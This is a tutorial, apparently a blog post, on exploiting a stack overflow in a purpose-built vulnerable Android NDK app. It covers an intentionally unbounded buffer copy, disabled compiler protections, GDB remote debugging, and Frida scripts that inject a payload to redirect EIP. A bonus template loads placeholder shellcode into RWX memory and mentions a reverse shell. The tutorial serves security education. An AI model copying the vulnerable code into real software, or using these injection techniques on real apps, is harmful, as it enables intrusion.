My journey into Android exploitation at the binary level started with a deep passion for the subject. I was determined to simplify the process as much as possible, but it turned out to be quite challenging. In this post, you’ll learn various aspects of Android exploitation, including:
- How to use the NDK to write an application.
- How to create a vulnerable lab environment for demonstrating Stack Overflow vulnerabilities.
- How to exploit Stack Overflow in Android binaries.
- How to Debug an Android Native Binary Remotely with GDB
- A deep dive into the capabilities of Frida!
I conducted all the steps in this post on an x86 Android emulator (Genymotion).
Why Frida?
You might wonder why I used Frida. There were two main reasons:
- Passion: I absolutely love working with Frida!
- Practicality: I couldn’t find another way to send my binary data for overriding the EIP.
I hope you find this content innovative and insightful.
Creating the Vulnerable Application
Implementing Graphical User Interface
The first step in creating our vulnerable application is to edit the style of the MainActivity
. The goal here is to set up an interface that allows us to input data for buffer exploitation and includes a button to submit the value.
Below is the XML code for activity_main.xml
:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
tools:context=".MainActivity">
<EditText
android:id="@+id/user_input"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="Enter input" />
<Button
android:id="@+id/exploit_button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Exploit" />
<TextView
android:id="@+id/result_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Result will be shown here" />
</LinearLayout>
Implementing Vulnerable Native C++ Code
To introduce a vulnerability, we’ll use native C++ code that is susceptible to a stack overflow.
Below, I’ve defined three functions, starting with the main
function. This function simply returns the user input value.
Here’s the C++ code for the main function:
extern "C" JNIEXPORT jstring JNICALL
Java_com_example_myapplication_MainActivity_stringFromJNI(
JNIEnv* env,
jobject,
jstring input) {
const char* inputCStr = env->GetStringUTFChars(input, nullptr);
kousha(inputCStr);
env->ReleaseStringUTFChars(input, inputCStr);
return env->NewStringUTF(inputCStr);
}
The second function in our vulnerable native C++ code is kousha
. This function is called by Java_com_example_myapplication_MainActivity_stringFromJNI
and is responsible for copying the user input characters one by one into a fixed-size buffer.
Below is the C++ code for the kousha
function:
int kousha(const char* inputCStr) {
char buffer[10];
const char *p1 = inputCStr;
char *p2 = buffer;
while (1) {
*p2 = *p1;
if (*p1 == 0) {
break;
}
p1 = p1 + 1;
p2 = p2 + 1;
}
return 0;
}
Implementing the getSecret
Function
The final piece of our vulnerable application is the Java_com_example_myapplication_MainActivity_getSecret
function. The goal of this lab is to exploit the stack overflow and override the EIP register to call this function. When successfully called, this function will log “Yeah!” in the adb logcat
output.
Before diving into the function itself, don’t forget to define the logging macro at the beginning of your C++ file:
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
Here’s the C++ code for the getSecret function:
extern "C" JNIEXPORT jstring JNICALL
Java_com_example_myapplication_MainActivity_getSecret(
JNIEnv* env,
jobject) {
std::string hello = "Yeah!";
LOGI("%s", hello.c_str());
return env->NewStringUTF(hello.c_str());
}
Code Explanation:
- Logging Setup: The macro
LOGI
is defined to log informational messages to the Androidlogcat
. This is essential for seeing the “Yeah!” message in the log output. - Function Declaration: Like the previous functions, this one is declared with
extern "C"
to ensure proper linkage for JNI. - Logging the Message: The function logs the string “Yeah!” to the
adb logcat
using theLOGI
macro. - Returning the String: Finally, the function returns the “Yeah!” string as a new
jstring
back to the Java layer.
Exploit Goal:
The goal of this lab is to craft an exploit that causes the kousha function’s stack overflow to override the EIP register, redirecting execution to the getSecret function. When successful, you’ll see “Yeah!” logged in the adb logcat output, confirming that the exploit worked.
Full Code for Vulnerable Native C++ Functions
Below is the complete C++ code for the vulnerable native functions used in our Android application. This code includes logging macros, the vulnerable kousha
function, and the getSecret
function, which we aim to call via an exploit.
#include <jni.h>
#include <string>
#include <android/log.h>
#define LOG_TAG "MyApplication"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
int kousha(const char* inputCStr) {
char buffer[10];
const char *p1 = inputCStr;
char *p2 = buffer;
while (true) {
*p2 = *p1;
if (*p1 == 0) {
break;
}
p1 = p1 + 1;
p2 = p2 + 1;
}
return 0;
}
extern "C" JNIEXPORT jstring JNICALL
Java_com_example_myapplication_MainActivity_stringFromJNI(
JNIEnv* env,
jobject,
jstring input) {
const char* inputCStr = env->GetStringUTFChars(input, nullptr);
kousha(inputCStr);
env->ReleaseStringUTFChars(input, inputCStr);
return env->NewStringUTF(inputCStr);
}
extern "C" JNIEXPORT jstring JNICALL
Java_com_example_myapplication_MainActivity_getSecret(
JNIEnv* env,
jobject) {
std::string hello = "Yeah!";
LOGI("%s", hello.c_str());
return env->NewStringUTF(hello.c_str());
}
Modifying CMakeLists.txt
for Security Settings and Library Inclusion
To set up our build environment for the vulnerable application, we need to modify the CMakeLists.txt
file. This involves disabling the FORTIFY
security feature and adding the native-lib
library.
Here is the updated CMakeLists.txt
configuration:
cmake_minimum_required(VERSION 3.22.1)
project("myapplication")
# Add the native-lib library
add_library(native-lib SHARED
native-lib.cpp)
# Set compiler flags to disable security features and enable debugging
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fno-stack-protector -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 -O0 -g")
# Link the native-lib library with Android and log libraries
target_link_libraries(native-lib
android
log)
Build and run the project now.
Exploiting Stack Overflow
Now it’s time to trigger a crash. We’ll send an excessive number of characters to cause a buffer overflow and crash the app.
Send the following input to trigger the buffer overflow:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Now that we know the application is vulnerable, use the cyclic
function from the pwntools
Python framework to determine the amount of data needed to reach and override the EIP
register.
We observed that the fault address is 0x61656161
, which corresponds to the last value of EIP
when the app crashes.
Now, we can determine the offset needed to override the EIP
register and execute our getSecret
function.
Everything has been smooth so far, but we’re about to hit a challenging part. Grab a cup of coffee and let’s dive in.
Even if we have the address of the getSecret
function, passing it as a text input could be tricky. We might explore using Unicode characters, though their effectiveness is uncertain. That’s why I’m turning to Frida for a solution.
Before we dive into Frida, let’s complete the final step of our current task. We’ll use GDB for remote debugging to confirm that the EIP
register has been successfully overwritten.
I’ve set up gdbserver on the Android device and attached it to the vulnerable application with the following command:
./gdbserver :7777 --attach $(ps | grep myapp | awk '{print $2}')
I then forwarded port 7777 from the Android device to my host using:
adb forward tcp:7777 tcp:7777
Next, I started GDB and connected to the remote application using:
target remote :7777
The application is currently stopped. Set a breakpoint on the kousha
function using the following GDB command:
b *kousha
Then, use the c command to continue execution:
c
I used aaaaaaaaaaaaaabcde
as the input. This consists of 14 ‘a’ characters to reach the offset and bcde
to overwrite the EIP
register.
The breakpoint will be hit, and GDB will stop at the first instruction of the kousha
function.
You can view the next 30 instructions with:
x/30i $eip
You might see a jmp
instruction creating a loop that corresponds to the while
loop in the kousha
function. Set a breakpoint after the loop and continue debugging.
Use the ni
(next instruction) command in GDB to step through the instructions one by one. After executing the pop ebp
instruction, the ebp
register will show aaaa
.
When the ret
instruction is executed, the eip
register will be set to bcde
.
We successfully overwrote the EIP
register with the value bcde
. Now, the goal is to override it with the address of our getSecret
function. To do this, let’s dive into Frida.
I’ve set up the Frida Server on the Android Emulator, enabling us to connect to it. The plan involves three steps:
- Find the Base Address of the
getSecret
Function. - Craft a Payload
(offset + *getSecret)
. - Send the Payload as User Input to Trigger the Overflow.
However, it’s not as straightforward as it sounds. After trying several methods to modify the user input, I found that hooking GetStringUTFChars
was the most effective approach. So, we’ll hook GetStringUTFChars
from the libnative-lib.so
library.
For additional learning, I’ve included some extra code to explore Frida’s capabilities, such as finding the base address of a library using Module.findBaseAddress("libname.so")
.
Here’s the Frida script:
var libnative_lib_so = 'libnative-lib.so';
function start_timer_for_intercept() {
setTimeout(function() {
console.log("[+] " + libnative_lib_so + " Base Address -> " + Module.findBaseAddress(libnative_lib_so));
var offset_of_GetStringUTFChars = 0x51110;
var dynamic_address_of_GetStringUTFChars = Module.findBaseAddress(libnative_lib_so).add(offset_of_GetStringUTFChars);
Interceptor.attach(dynamic_address_of_GetStringUTFChars, {
onLeave: function(retval) {
var uInput = retval.readCString();
if (uInput == "exploit") {
console.log("We are done!");
}
}
});
}, 2000);
}
start_timer_for_intercept();
Explanation:
- Finding the Base Address: The base address of
libnative-lib.so
is retrieved and logged. - Offset Calculation: We calculate the dynamic address of
GetStringUTFChars
by adding its offset to the base address. - Hooking GetStringUTFChars: We use Frida’s
Interceptor.attach
to hook theGetStringUTFChars
function. If the user input matches “exploit”, it confirms that the hook is working as expected.
This setup allows us to intercept and modify the input before it’s used in the vulnerable function, helping us to overwrite the EIP
with the getSecret
address.
Now, let’s craft our payload. We need 14 bytes as an offset to reach the EIP
register, followed by the base address of the getSecret
function. However, there’s a crucial detail: in our previous code, we only used console.log()
. To exploit the vulnerability, we need to return an address as the retval
. This requires allocating space in the heap.
Below is the code that does this:
var libnative_lib_so = 'libnative-lib.so';
function start_timer_for_intercept() {
setTimeout(function() {
// Find the base address of the library
console.log("[+] " + libnative_lib_so + " Base Address -> " + Module.findBaseAddress(libnative_lib_so));
var offset_of_GetStringUTFChars = 0x51110; // Replace with the actual offset
var dynamic_address_of_GetStringUTFChars = Module.findBaseAddress(libnative_lib_so).add(offset_of_GetStringUTFChars);
// Allocate space in the heap for our payload
var memoryForPayload = Memory.alloc(100);
// Craft the payload: 14 'A's (0x41) followed by 'B's (0x42) to overwrite EIP
var payload = [0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41];
payload.push(0x42, 0x42, 0x42, 0x42);
// Write the payload into the allocated memory
Memory.writeByteArray(memoryForPayload, payload);
// Hook the GetStringUTFChars function and replace the return value with our payload
Interceptor.attach(dynamic_address_of_GetStringUTFChars, {
onLeave: function(retval) {
var uInput = retval.readCString();
if (uInput == "exploit") {
retval.replace(memoryForPayload); // Replace retval with our crafted payload
console.log("We are done!");
}
}
});
}, 2000);
}
start_timer_for_intercept();
Explanation:
Memory Allocation:
- Memory.alloc(100): Allocates 100 bytes in the heap for our payload.
Crafting the Payload:
- payload = [0x41, …]: Fills the first 14 bytes with 0x41 (‘A’) to reach the
EIP
register. - payload.push(0x42, 0x42, 0x42, 0x42): Adds 0x42 (‘B’) to overwrite the
EIP
register.
- payload = [0x41, …]: Fills the first 14 bytes with 0x41 (‘A’) to reach the
Replacing the Return Value:
- retval.replace(memoryForPayload): Replaces the original return value of
GetStringUTFChars
with our crafted payload.
- retval.replace(memoryForPayload): Replaces the original return value of
This code will modify the user input to include the crafted payload, allowing us to overwrite the EIP
register and execute the getSecret
function.
Now that we’ve identified how to trigger the overflow, it’s time to execute the real exploit: overriding the EIP
register with the address of the getSecret
function.
Here’s the process:
Find the Base Address of getSecret:
- We use
Module.findExportByName()
to locate the base address of the getSecret function within thelibnative-lib.so
library.
- We use
Convert the Address:
- After finding the address, we convert it to a hexadecimal format suitable for the
EIP
register.
- After finding the address, we convert it to a hexadecimal format suitable for the
Adjust for Endianness:
- The address is pushed in reverse order due to endianness, which ensures the correct function call.
Execute the Exploit:
- Finally, we hook the
GetStringUTFChars
function to replace the user input with our crafted payload, which includes the address ofgetSecret
.
- Finally, we hook the
var libnative_lib_so = 'libnative-lib.so';
function start_timer_for_intercept() {
setTimeout(function() {
console.log("[+] " + libnative_lib_so + " Base Address -> " + Module.findBaseAddress(libnative_lib_so));
var offset_of_GetStringUTFChars = 0x51110; // Offset for GetStringUTFChars
var dynamic_address_of_GetStringUTFChars = Module.findBaseAddress(libnative_lib_so).add(offset_of_GetStringUTFChars);
// Allocate memory for the payload
var memoryForPayload = Memory.alloc(100);
var payload = [0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41];
// Find the address of getSecret
var getSecret = Module.findExportByName("libnative-lib.so", "Java_com_example_myapplication_MainActivity_getSecret");
var getSecretAddr = getSecret.toString().match(/[\s\S]{1,2}/g) || [];
// Push the getSecret address in reverse order due to endianness
payload.push(parseInt(getSecretAddr[4], 16), parseInt(getSecretAddr[3], 16), parseInt(getSecretAddr[2], 16), parseInt(getSecretAddr[1], 16));
Memory.writeByteArray(memoryForPayload, payload);
// Hook GetStringUTFChars and replace the return value with our crafted payload
Interceptor.attach(dynamic_address_of_GetStringUTFChars, {
onLeave: function(retval) {
var uInput = retval.readCString();
if (uInput == "exploit") {
retval.replace(memoryForPayload); // Replace retval with our crafted payload
}
}
});
}, 2000);
}
start_timer_for_intercept();
Summary
- We first locate the
getSecret
function’s address usingModule.findExportByName()
. - The address is then formatted and adjusted for system endianness.
- Finally, by hooking the
GetStringUTFChars
function, we replace the user input with a payload that includes the address ofgetSecret
. - When the payload is executed, the application logs “Yeah!” to indicate success.
And just like that, we’ve successfully exploited the application to call the getSecret
function!
Bonus
If you’re interested in writing and executing shellcode in memory—like a reverse shell—this section will guide you through the process. The steps include writing the shellcode, allocating memory for it, changing the allocated memory’s permissions to make it executable, and then writing the shellcode into that memory.
Steps to Execute Shellcode:
Write Your Shellcode:
- First, craft your shellcode. This could be something like a reverse shell.
Allocate Memory:
- Allocate memory for your shellcode, ensuring it’s large enough to hold the shellcode and any additional data.
Change Memory Permissions:
- Modify the permissions of the allocated memory region to make it executable.
Write Shellcode into Memory:
- Write the shellcode into the allocated memory.
Verify with hexdump():
- Use
hexdump()
to inspect the memory where the shellcode is located and ensure everything is as expected.
- Use
var libnative_lib_so = 'libnative-lib.so';
function start_timer_for_intercept() {
setTimeout(function() {
console.log("[+] " + libnative_lib_so + " Base Address -> " + Module.findBaseAddress(libnative_lib_so));
var offset_of_GetStringUTFChars = 0x51110; // Offset for GetStringUTFChars
var dynamic_address_of_GetStringUTFChars = Module.findBaseAddress(libnative_lib_so).add(offset_of_GetStringUTFChars);
// Allocate memory for the payload
var memoryForPayload = Memory.alloc(100);
var payload = [0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41];
// Write your shellcode here
var shellcode = [YOUR_SHELLCODE_GOES_HERE];
var memoryForShellcode = Memory.alloc(shellcode.length + 20);
// Change memory permissions to make it executable
Memory.protect(ptr(memoryForShellcode), shellcode.length + 20, 'rwx');
// Write the shellcode into the allocated memory
Memory.writeByteArray(memoryForShellcode, shellcode);
// Extract the shellcode address and adjust for endianness
var shellcodeAddress = memoryForShellcode.toString().match(/[\s\S]{1,2}/g) || [];
payload.push(parseInt(shellcodeAddress[4], 16), parseInt(shellcodeAddress[3], 16), parseInt(shellcodeAddress[2], 16), parseInt(shellcodeAddress[1], 16));
Memory.writeByteArray(memoryForPayload, payload);
// Log the memory contents for verification
console.log(hexdump(memoryForShellcode, { length: 128 }));
// Hook GetStringUTFChars and replace the return value with our crafted payload
Interceptor.attach(dynamic_address_of_GetStringUTFChars, {
onLeave: function(retval) {
var uInput = retval.readCString();
if (uInput == "exploit") {
retval.replace(memoryForPayload); // Replace retval with our crafted payload
}
}
});
}, 2000);
}
start_timer_for_intercept();
Summary
- Memory Allocation: We allocate memory and change its permissions to allow execution.
- Shellcode Injection: The shellcode is injected into the allocated memory.
- Execution: The script is set up to replace the return value of
GetStringUTFChars
with the payload that includes the shellcode. - Verification: Use
hexdump()
to inspect the shellcode in memory and ensure it’s correctly placed.
This approach demonstrates how to write and execute shellcode directly in memory using Frida.